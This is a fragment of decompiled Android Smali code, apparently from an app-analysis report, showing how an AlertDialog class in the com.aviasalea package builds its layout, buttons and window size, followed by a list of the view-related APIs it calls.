                                      727cond_43d: move-object/from16 v0, p0
                                      729iget-object v0, v0, Lcom/aviasalea/base/dialog/AlertDialog;->scrollContainer:Landroid/widget/LinearLayout;
                                      730move-object/from16 v23, v0
                                      731move-object/from16 v0, p0
                                      733iget-object v0, v0, Lcom/aviasalea/base/dialog/AlertDialog;->messageTextView:Landroid/widget/TextView;
                                      734move-object/from16 v24, v0
                                      735const/4 v2, -0x2
                                      736const/4 v3, -0x2
                                      737const/16 v4, 0x33
                                      738const/16 v5, 0x18
                                      739const/4 v6, 0x0
                                      740const/16 v7, 0x18
                                      741move-object/from16 v0, p0
                                      743iget-object v8, v0, Lcom/aviasalea/base/dialog/AlertDialog;->customView:Landroid/view/View;
                                      744if-nez v8, :cond_45e
                                      745move-object/from16 v0, p0
                                      747iget-object v8, v0, Lcom/aviasalea/base/dialog/AlertDialog;->items:[Ljava/lang/CharSequence;
                                      748if-eqz v8, :cond_46d
                                      749cond_45e: const/16 v8, 0x14
                                      750goto_460:
                                      751invoke-static/range {v2 .. v8}, Lcom/aviasalea/base/dialog/LayoutHelper;->createLinear(IIIIIII)Landroid/widget/LinearLayout$LayoutParams;
                                      752move-result-object v2
                                      753move-object/from16 v0, v23
                                      754move-object/from16 v1, v24
                                      756invoke-virtual {v0, v1, v2}, Landroid/widget/LinearLayout;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
                                      757goto/16 :goto_313
                                      758cond_46d: const/4 v8, 0x0
                                      759goto/16 :goto_460
                                      760cond_46f: move-object/from16 v0, p0
                                      762iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->messageTextView:Landroid/widget/TextView;
                                      763const/16 v3, 0x8
                                      765invoke-virtual {v2, v3}, Landroid/widget/TextView;->setVisibility(I)V
                                      766goto/16 :goto_330
                                      767cond_47a: new-instance v11, Lcom/aviasalea/base/dialog/AlertDialog$AlertDialogCell;
                                      769invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog;->getContext()Landroid/content/Context;
                                      770move-result-object v2
                                      772invoke-direct {v11, v2}, Lcom/aviasalea/base/dialog/AlertDialog$AlertDialogCell;-><init>(Landroid/content/Context;)V
                                      773move-object/from16 v0, p0
                                      775iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->items:[Ljava/lang/CharSequence;
                                      776aget-object v3, v2, v9
                                      777move-object/from16 v0, p0
                                      779iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->itemIcons:[I
                                      780if-eqz v2, :cond_4b9
                                      781move-object/from16 v0, p0
                                      783iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->itemIcons:[I
                                      784aget v2, v2, v9
                                      785goto_495:
                                      786invoke-virtual {v11, v3, v2}, Lcom/aviasalea/base/dialog/AlertDialog$AlertDialogCell;->setTextAndIcon(Ljava/lang/CharSequence;I)V
                                      787move-object/from16 v0, p0
                                      789iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->scrollContainer:Landroid/widget/LinearLayout;
                                      790const/4 v3, -0x1
                                      791const/16 v4, 0x30
                                      793invoke-static {v3, v4}, Lcom/aviasalea/base/dialog/LayoutHelper;->createLinear(II)Landroid/widget/LinearLayout$LayoutParams;
                                      794move-result-object v3
                                      796invoke-virtual {v2, v11, v3}, Landroid/widget/LinearLayout;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
                                      798invoke-static {v9}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                      799move-result-object v2
                                      801invoke-virtual {v11, v2}, Lcom/aviasalea/base/dialog/AlertDialog$AlertDialogCell;->setTag(Ljava/lang/Object;)V
                                      802new-instance v2, Lcom/aviasalea/base/dialog/AlertDialog$3;
                                      803move-object/from16 v0, p0
                                      805invoke-direct {v2, v0}, Lcom/aviasalea/base/dialog/AlertDialog$3;-><init>(Lcom/aviasalea/base/dialog/AlertDialog;)V
                                      807invoke-virtual {v11, v2}, Lcom/aviasalea/base/dialog/AlertDialog$AlertDialogCell;->setOnClickListener(Landroid/view/View$OnClickListener;)V
                                      808goto/16 :goto_349
                                      809cond_4b9: const/4 v2, 0x0
                                      810goto/16 :goto_495
                                      811cond_4bb: move-object/from16 v0, p0
                                      813iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->customView:Landroid/view/View;
                                      814if-eqz v2, :cond_4ef
                                      815move-object/from16 v0, p0
                                      817iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->customView:Landroid/view/View;
                                      819invoke-virtual {v2}, Landroid/view/View;->getParent()Landroid/view/ViewParent;
                                      820move-result-object v2
                                      821if-eqz v2, :cond_4de
                                      822move-object/from16 v0, p0
                                      824iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->customView:Landroid/view/View;
                                      826invoke-virtual {v2}, Landroid/view/View;->getParent()Landroid/view/ViewParent;
                                      827move-result-object v21
                                      828check-cast v21, Landroid/view/ViewGroup;
                                      829move-object/from16 v0, p0
                                      831iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->customView:Landroid/view/View;
                                      832move-object/from16 v0, v21
                                      834invoke-virtual {v0, v2}, Landroid/view/ViewGroup;->removeView(Landroid/view/View;)V
                                      835cond_4de: move-object/from16 v0, p0
                                      837iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->scrollContainer:Landroid/widget/LinearLayout;
                                      838move-object/from16 v0, p0
                                      840iget-object v3, v0, Lcom/aviasalea/base/dialog/AlertDialog;->customView:Landroid/view/View;
                                      841const/4 v4, -0x1
                                      842const/4 v5, -0x2
                                      844invoke-static {v4, v5}, Lcom/aviasalea/base/dialog/LayoutHelper;->createLinear(II)Landroid/widget/LinearLayout$LayoutParams;
                                      845move-result-object v4
                                      847invoke-virtual {v2, v3, v4}, Landroid/widget/LinearLayout;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
                                      848cond_4ef: if-eqz v13, :cond_6ef
                                      849new-instance v2, Lcom/aviasalea/base/dialog/AlertDialog$4;
                                      851invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog;->getContext()Landroid/content/Context;
                                      852move-result-object v3
                                      853move-object/from16 v0, p0
                                      855invoke-direct {v2, v0, v3}, Lcom/aviasalea/base/dialog/AlertDialog$4;-><init>(Lcom/aviasalea/base/dialog/AlertDialog;Landroid/content/Context;)V
                                      856move-object/from16 v0, p0
                                      857iput-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->buttonsLayout:Landroid/widget/FrameLayout;
                                      858move-object/from16 v0, p0
                                      860iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->buttonsLayout:Landroid/widget/FrameLayout;
                                      861const/high16 v3, 0x41000000 # 8.0f
                                      863invoke-static {v3}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      864move-result v3
                                      865const/high16 v4, 0x41000000 # 8.0f
                                      867invoke-static {v4}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      868move-result v4
                                      869const/high16 v5, 0x41000000 # 8.0f
                                      871invoke-static {v5}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      872move-result v5
                                      873const/high16 v6, 0x41000000 # 8.0f
                                      875invoke-static {v6}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      876move-result v6
                                      878invoke-virtual {v2, v3, v4, v5, v6}, Landroid/widget/FrameLayout;->setPadding(IIII)V
                                      879move-object/from16 v0, p0
                                      881iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->buttonsLayout:Landroid/widget/FrameLayout;
                                      882const/4 v3, -0x1
                                      883const/16 v4, 0x34
                                      885invoke-static {v3, v4}, Lcom/aviasalea/base/dialog/LayoutHelper;->createLinear(II)Landroid/widget/LinearLayout$LayoutParams;
                                      886move-result-object v3
                                      888invoke-virtual {v12, v2, v3}, Landroid/widget/LinearLayout;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
                                      889move-object/from16 v0, p0
                                      891iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->positiveButtonText:Ljava/lang/CharSequence;
                                      892if-eqz v2, :cond_5c3
                                      893new-instance v20, Lcom/aviasalea/base/dialog/AlertDialog$5;
                                      895invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog;->getContext()Landroid/content/Context;
                                      896move-result-object v2
                                      897move-object/from16 v0, v20
                                      898move-object/from16 v1, p0
                                      900invoke-direct {v0, v1, v2}, Lcom/aviasalea/base/dialog/AlertDialog$5;-><init>(Lcom/aviasalea/base/dialog/AlertDialog;Landroid/content/Context;)V
                                      901const/high16 v2, 0x42800000 # 64.0f
                                      903invoke-static {v2}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      904move-result v2
                                      905move-object/from16 v0, v20
                                      907invoke-virtual {v0, v2}, Landroid/widget/TextView;->setMinWidth(I)V
                                      908const/4 v2, -0x1
                                      910invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                      911move-result-object v2
                                      912move-object/from16 v0, v20
                                      914invoke-virtual {v0, v2}, Landroid/widget/TextView;->setTag(Ljava/lang/Object;)V
                                      915const/4 v2, 0x1
                                      916const/high16 v3, 0x41600000 # 14.0f
                                      917move-object/from16 v0, v20
                                      919invoke-virtual {v0, v2, v3}, Landroid/widget/TextView;->setTextSize(IF)V
                                      921invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog;->getContext()Landroid/content/Context;
                                      922move-result-object v2
                                      923const v3, 0x106000c
                                      925invoke-static {v2, v3}, Lcom/aviasalea/checktls/AndroidUtilities;->getColor(Landroid/content/Context;I)I
                                      926move-result v2
                                      927move-object/from16 v0, v20
                                      929invoke-virtual {v0, v2}, Landroid/widget/TextView;->setTextColor(I)V
                                      930const/16 v2, 0x11
                                      931move-object/from16 v0, v20
                                      933invoke-virtual {v0, v2}, Landroid/widget/TextView;->setGravity(I)V
                                      934move-object/from16 v0, p0
                                      936iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->positiveButtonText:Ljava/lang/CharSequence;
                                      938invoke-interface {v2}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                                      939move-result-object v2
                                      941invoke-virtual {v2}, Ljava/lang/String;->toUpperCase()Ljava/lang/String;
                                      942move-result-object v2
                                      943move-object/from16 v0, v20
                                      945invoke-virtual {v0, v2}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
                                      947invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog;->getContext()Landroid/content/Context;
                                      948move-result-object v2
                                      950invoke-static {v2}, Lcom/aviasalea/base/dialog/AlertDialog;->getRoundRectSelectorDrawable(Landroid/content/Context;)Landroid/graphics/drawable/Drawable;
                                      951move-result-object v2
                                      952move-object/from16 v0, v20
                                      954invoke-virtual {v0, v2}, Landroid/widget/TextView;->setBackgroundDrawable(Landroid/graphics/drawable/Drawable;)V
                                      955const/high16 v2, 0x41200000 # 10.0f
                                      957invoke-static {v2}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      958move-result v2
                                      959const/4 v3, 0x0
                                      960const/high16 v4, 0x41200000 # 10.0f
                                      962invoke-static {v4}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      963move-result v4
                                      964const/4 v5, 0x0
                                      965move-object/from16 v0, v20
                                      967invoke-virtual {v0, v2, v3, v4, v5}, Landroid/widget/TextView;->setPadding(IIII)V
                                      968move-object/from16 v0, p0
                                      970iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->buttonsLayout:Landroid/widget/FrameLayout;
                                      971const/4 v3, -0x2
                                      972const/16 v4, 0x24
                                      973const/16 v5, 0x35
                                      975invoke-static {v3, v4, v5}, Lcom/aviasalea/base/dialog/LayoutHelper;->createFrame(III)Landroid/widget/FrameLayout$LayoutParams;
                                      976move-result-object v3
                                      977move-object/from16 v0, v20
                                      979invoke-virtual {v2, v0, v3}, Landroid/widget/FrameLayout;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
                                      980new-instance v2, Lcom/aviasalea/base/dialog/AlertDialog$6;
                                      981move-object/from16 v0, p0
                                      983invoke-direct {v2, v0}, Lcom/aviasalea/base/dialog/AlertDialog$6;-><init>(Lcom/aviasalea/base/dialog/AlertDialog;)V
                                      984move-object/from16 v0, v20
                                      986invoke-virtual {v0, v2}, Landroid/widget/TextView;->setOnClickListener(Landroid/view/View$OnClickListener;)V
                                      987cond_5c3: move-object/from16 v0, p0
                                      989iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->negativeButtonText:Ljava/lang/CharSequence;
                                      990if-eqz v2, :cond_659
                                      991new-instance v20, Lcom/aviasalea/base/dialog/AlertDialog$7;
                                      993invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog;->getContext()Landroid/content/Context;
                                      994move-result-object v2
                                      995move-object/from16 v0, v20
                                      996move-object/from16 v1, p0
                                      998invoke-direct {v0, v1, v2}, Lcom/aviasalea/base/dialog/AlertDialog$7;-><init>(Lcom/aviasalea/base/dialog/AlertDialog;Landroid/content/Context;)V
                                      999const/high16 v2, 0x42800000 # 64.0f
                                      1001invoke-static {v2}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      1002move-result v2
                                      1003move-object/from16 v0, v20
                                      1005invoke-virtual {v0, v2}, Landroid/widget/TextView;->setMinWidth(I)V
                                      1006const/4 v2, -0x2
                                      1008invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                      1009move-result-object v2
                                      1010move-object/from16 v0, v20
                                      1012invoke-virtual {v0, v2}, Landroid/widget/TextView;->setTag(Ljava/lang/Object;)V
                                      1013const/4 v2, 0x1
                                      1014const/high16 v3, 0x41600000 # 14.0f
                                      1015move-object/from16 v0, v20
                                      1017invoke-virtual {v0, v2, v3}, Landroid/widget/TextView;->setTextSize(IF)V
                                      1019invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog;->getContext()Landroid/content/Context;
                                      1020move-result-object v2
                                      1021const v3, 0x106000c
                                      1023invoke-static {v2, v3}, Lcom/aviasalea/checktls/AndroidUtilities;->getColor(Landroid/content/Context;I)I
                                      1024move-result v2
                                      1025move-object/from16 v0, v20
                                      1027invoke-virtual {v0, v2}, Landroid/widget/TextView;->setTextColor(I)V
                                      1028const/16 v2, 0x11
                                      1029move-object/from16 v0, v20
                                      1031invoke-virtual {v0, v2}, Landroid/widget/TextView;->setGravity(I)V
                                      1032move-object/from16 v0, p0
                                      1034iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->negativeButtonText:Ljava/lang/CharSequence;
                                      1036invoke-interface {v2}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                                      1037move-result-object v2
                                      1039invoke-virtual {v2}, Ljava/lang/String;->toUpperCase()Ljava/lang/String;
                                      1040move-result-object v2
                                      1041move-object/from16 v0, v20
                                      1043invoke-virtual {v0, v2}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
                                      1045invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog;->getContext()Landroid/content/Context;
                                      1046move-result-object v2
                                      1048invoke-static {v2}, Lcom/aviasalea/base/dialog/AlertDialog;->getRoundRectSelectorDrawable(Landroid/content/Context;)Landroid/graphics/drawable/Drawable;
                                      1049move-result-object v2
                                      1050move-object/from16 v0, v20
                                      1052invoke-virtual {v0, v2}, Landroid/widget/TextView;->setBackgroundDrawable(Landroid/graphics/drawable/Drawable;)V
                                      1053const/high16 v2, 0x41200000 # 10.0f
                                      1055invoke-static {v2}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      1056move-result v2
                                      1057const/4 v3, 0x0
                                      1058const/high16 v4, 0x41200000 # 10.0f
                                      1060invoke-static {v4}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      1061move-result v4
                                      1062const/4 v5, 0x0
                                      1063move-object/from16 v0, v20
                                      1065invoke-virtual {v0, v2, v3, v4, v5}, Landroid/widget/TextView;->setPadding(IIII)V
                                      1066move-object/from16 v0, p0
                                      1068iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->buttonsLayout:Landroid/widget/FrameLayout;
                                      1069const/4 v3, -0x2
                                      1070const/16 v4, 0x24
                                      1071const/16 v5, 0x35
                                      1073invoke-static {v3, v4, v5}, Lcom/aviasalea/base/dialog/LayoutHelper;->createFrame(III)Landroid/widget/FrameLayout$LayoutParams;
                                      1074move-result-object v3
                                      1075move-object/from16 v0, v20
                                      1077invoke-virtual {v2, v0, v3}, Landroid/widget/FrameLayout;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
                                      1078new-instance v2, Lcom/aviasalea/base/dialog/AlertDialog$8;
                                      1079move-object/from16 v0, p0
                                      1081invoke-direct {v2, v0}, Lcom/aviasalea/base/dialog/AlertDialog$8;-><init>(Lcom/aviasalea/base/dialog/AlertDialog;)V
                                      1082move-object/from16 v0, v20
                                      1084invoke-virtual {v0, v2}, Landroid/widget/TextView;->setOnClickListener(Landroid/view/View$OnClickListener;)V
                                      1085cond_659: move-object/from16 v0, p0
                                      1087iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->neutralButtonText:Ljava/lang/CharSequence;
                                      1088if-eqz v2, :cond_6ef
                                      1089new-instance v20, Lcom/aviasalea/base/dialog/AlertDialog$9;
                                      1091invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog;->getContext()Landroid/content/Context;
                                      1092move-result-object v2
                                      1093move-object/from16 v0, v20
                                      1094move-object/from16 v1, p0
                                      1096invoke-direct {v0, v1, v2}, Lcom/aviasalea/base/dialog/AlertDialog$9;-><init>(Lcom/aviasalea/base/dialog/AlertDialog;Landroid/content/Context;)V
                                      1097const/high16 v2, 0x42800000 # 64.0f
                                      1099invoke-static {v2}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      1100move-result v2
                                      1101move-object/from16 v0, v20
                                      1103invoke-virtual {v0, v2}, Landroid/widget/TextView;->setMinWidth(I)V
                                      1104const/4 v2, -0x3
                                      1106invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                      1107move-result-object v2
                                      1108move-object/from16 v0, v20
                                      1110invoke-virtual {v0, v2}, Landroid/widget/TextView;->setTag(Ljava/lang/Object;)V
                                      1111const/4 v2, 0x1
                                      1112const/high16 v3, 0x41600000 # 14.0f
                                      1113move-object/from16 v0, v20
                                      1115invoke-virtual {v0, v2, v3}, Landroid/widget/TextView;->setTextSize(IF)V
                                      1117invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog;->getContext()Landroid/content/Context;
                                      1118move-result-object v2
                                      1119const v3, 0x106000c
                                      1121invoke-static {v2, v3}, Lcom/aviasalea/checktls/AndroidUtilities;->getColor(Landroid/content/Context;I)I
                                      1122move-result v2
                                      1123move-object/from16 v0, v20
                                      1125invoke-virtual {v0, v2}, Landroid/widget/TextView;->setTextColor(I)V
                                      1126const/16 v2, 0x11
                                      1127move-object/from16 v0, v20
                                      1129invoke-virtual {v0, v2}, Landroid/widget/TextView;->setGravity(I)V
                                      1130move-object/from16 v0, p0
                                      1132iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->neutralButtonText:Ljava/lang/CharSequence;
                                      1134invoke-interface {v2}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                                      1135move-result-object v2
                                      1137invoke-virtual {v2}, Ljava/lang/String;->toUpperCase()Ljava/lang/String;
                                      1138move-result-object v2
                                      1139move-object/from16 v0, v20
                                      1141invoke-virtual {v0, v2}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
                                      1143invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog;->getContext()Landroid/content/Context;
                                      1144move-result-object v2
                                      1146invoke-static {v2}, Lcom/aviasalea/base/dialog/AlertDialog;->getRoundRectSelectorDrawable(Landroid/content/Context;)Landroid/graphics/drawable/Drawable;
                                      1147move-result-object v2
                                      1148move-object/from16 v0, v20
                                      1150invoke-virtual {v0, v2}, Landroid/widget/TextView;->setBackgroundDrawable(Landroid/graphics/drawable/Drawable;)V
                                      1151const/high16 v2, 0x41200000 # 10.0f
                                      1153invoke-static {v2}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      1154move-result v2
                                      1155const/4 v3, 0x0
                                      1156const/high16 v4, 0x41200000 # 10.0f
                                      1158invoke-static {v4}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      1159move-result v4
                                      1160const/4 v5, 0x0
                                      1161move-object/from16 v0, v20
                                      1163invoke-virtual {v0, v2, v3, v4, v5}, Landroid/widget/TextView;->setPadding(IIII)V
                                      1164move-object/from16 v0, p0
                                      1166iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->buttonsLayout:Landroid/widget/FrameLayout;
                                      1167const/4 v3, -0x2
                                      1168const/16 v4, 0x24
                                      1169const/16 v5, 0x33
                                      1171invoke-static {v3, v4, v5}, Lcom/aviasalea/base/dialog/LayoutHelper;->createFrame(III)Landroid/widget/FrameLayout$LayoutParams;
                                      1172move-result-object v3
                                      1173move-object/from16 v0, v20
                                      1175invoke-virtual {v2, v0, v3}, Landroid/widget/FrameLayout;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
                                      1176new-instance v2, Lcom/aviasalea/base/dialog/AlertDialog$10;
                                      1177move-object/from16 v0, p0
                                      1179invoke-direct {v2, v0}, Lcom/aviasalea/base/dialog/AlertDialog$10;-><init>(Lcom/aviasalea/base/dialog/AlertDialog;)V
                                      1180move-object/from16 v0, v20
                                      1182invoke-virtual {v0, v2}, Landroid/widget/TextView;->setOnClickListener(Landroid/view/View$OnClickListener;)V
                                      1183cond_6ef:
                                      1184sget-object v2, Lcom/aviasalea/checktls/AndroidUtilities;->displaySize:Landroid/graphics/Point;
                                      1185iget v2, v2, Landroid/graphics/Point;->x:I
                                      1186move-object/from16 v0, p0
                                      1187iput v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->lastScreenWidth:I
                                      1189sget-object v2, Lcom/aviasalea/checktls/AndroidUtilities;->displaySize:Landroid/graphics/Point;
                                      1190iget v2, v2, Landroid/graphics/Point;->x:I
                                      1191const/high16 v3, 0x42400000 # 48.0f
                                      1193invoke-static {v3}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      1194move-result v3
                                      1195sub-int v10, v2, v3
                                      1197invoke-static {}, Lcom/aviasalea/checktls/AndroidUtilities;->isTablet()Z
                                      1198move-result v2
                                      1199if-eqz v2, :cond_77c
                                      1201invoke-static {}, Lcom/aviasalea/checktls/AndroidUtilities;->isSmallTablet()Z
                                      1202move-result v2
                                      1203if-eqz v2, :cond_775
                                      1204const/high16 v2, 0x43df0000 # 446.0f
                                      1206invoke-static {v2}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      1207move-result v16
                                      1208goto_715:
                                      1209invoke-virtual/range {p0 .. p0}, Lcom/aviasalea/base/dialog/AlertDialog;->getWindow()Landroid/view/Window;
                                      1210move-result-object v22
                                      1211new-instance v17, Landroid/view/WindowManager$LayoutParams;
                                      1213invoke-direct/range {v17 .. v17}, Landroid/view/WindowManager$LayoutParams;-><init>()V
                                      1215invoke-virtual/range {v22 .. v22}, Landroid/view/Window;->getAttributes()Landroid/view/WindowManager$LayoutParams;
                                      1216move-result-object v2
                                      1217move-object/from16 v0, v17
                                      1219invoke-virtual {v0, v2}, Landroid/view/WindowManager$LayoutParams;->copyFrom(Landroid/view/WindowManager$LayoutParams;)I
                                      1220const v2, 0x3f19999a # 0.6f
                                      1221move-object/from16 v0, v17
                                      1222iput v2, v0, Landroid/view/WindowManager$LayoutParams;->dimAmount:F
                                      1223move/from16 v0, v16
                                      1225invoke-static {v0, v10}, Ljava/lang/Math;->min(II)I
                                      1226move-result v2
                                      1227move-object/from16 v0, p0
                                      1229iget-object v3, v0, Lcom/aviasalea/base/dialog/AlertDialog;->backgroundPaddings:Landroid/graphics/Rect;
                                      1230iget v3, v3, Landroid/graphics/Rect;->left:I
                                      1231add-int/2addr v2, v3
                                      1232move-object/from16 v0, p0
                                      1234iget-object v3, v0, Lcom/aviasalea/base/dialog/AlertDialog;->backgroundPaddings:Landroid/graphics/Rect;
                                      1235iget v3, v3, Landroid/graphics/Rect;->right:I
                                      1236add-int/2addr v2, v3
                                      1237move-object/from16 v0, v17
                                      1238iput v2, v0, Landroid/view/WindowManager$LayoutParams;->width:I
                                      1239move-object/from16 v0, v17
                                      1240iget v2, v0, Landroid/view/WindowManager$LayoutParams;->flags:I
                                      1241or-int/lit8 v2, v2, 0x2
                                      1242move-object/from16 v0, v17
                                      1243iput v2, v0, Landroid/view/WindowManager$LayoutParams;->flags:I
                                      1244move-object/from16 v0, p0
                                      1246iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->customView:Landroid/view/View;
                                      1247if-eqz v2, :cond_762
                                      1248move-object/from16 v0, p0
                                      1250iget-object v2, v0, Lcom/aviasalea/base/dialog/AlertDialog;->customView:Landroid/view/View;
                                      1251move-object/from16 v0, p0
                                      1253invoke-direct {v0, v2}, Lcom/aviasalea/base/dialog/AlertDialog;->canTextInput(Landroid/view/View;)Z
                                      1254move-result v2
                                      1255if-nez v2, :cond_76d
                                      1256cond_762: move-object/from16 v0, v17
                                      1257iget v2, v0, Landroid/view/WindowManager$LayoutParams;->flags:I
                                      1258const/high16 v3, 0x20000
                                      1259or-int/2addr v2, v3
                                      1260move-object/from16 v0, v17
                                      1261iput v2, v0, Landroid/view/WindowManager$LayoutParams;->flags:I
                                      1262cond_76d: move-object/from16 v0, v22
                                      1263move-object/from16 v1, v17
                                      1265invoke-virtual {v0, v1}, Landroid/view/Window;->setAttributes(Landroid/view/WindowManager$LayoutParams;)V
                                      1266return-void
                                      1267cond_775: const/high16 v2, 0x43f80000 # 496.0f
                                      1269invoke-static {v2}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      1270move-result v16
                                      1271goto/16 :goto_715
                                      1272cond_77c: const/high16 v2, 0x43b20000 # 356.0f
                                      1274invoke-static {v2}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      1275move-result v16
                                      1276goto/16 :goto_715
                                      APIs
                                      • android.view.View$MeasureSpec.getSize
                                      • android.view.View$MeasureSpec.getSize
                                      • com.aviasalea.base.dialog.AlertDialog$1.getPaddingTop
                                      • com.aviasalea.base.dialog.AlertDialog$1.getPaddingBottom
                                      • com.aviasalea.base.dialog.AlertDialog$1.getPaddingLeft
                                      • com.aviasalea.base.dialog.AlertDialog$1.getPaddingRight
                                      • android.view.View$MeasureSpec.makeMeasureSpec
                                      • android.view.View$MeasureSpec.makeMeasureSpec
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$000
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$000
                                      • android.widget.FrameLayout.getChildCount
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$000
                                      • android.widget.FrameLayout.getChildAt
                                      • android.widget.TextView.setMaxWidth
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$000
                                      • android.widget.FrameLayout.measure
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$000
                                      • android.widget.FrameLayout.getLayoutParams
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$000
                                      • android.widget.FrameLayout.getMeasuredHeight
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$100
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$100
                                      • android.widget.TextView.measure
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$100
                                      • android.widget.TextView.getLayoutParams
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$100
                                      • android.widget.TextView.getMeasuredHeight
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$200
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$200
                                      • android.widget.TextView.measure
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$200
                                      • android.widget.TextView.getLayoutParams
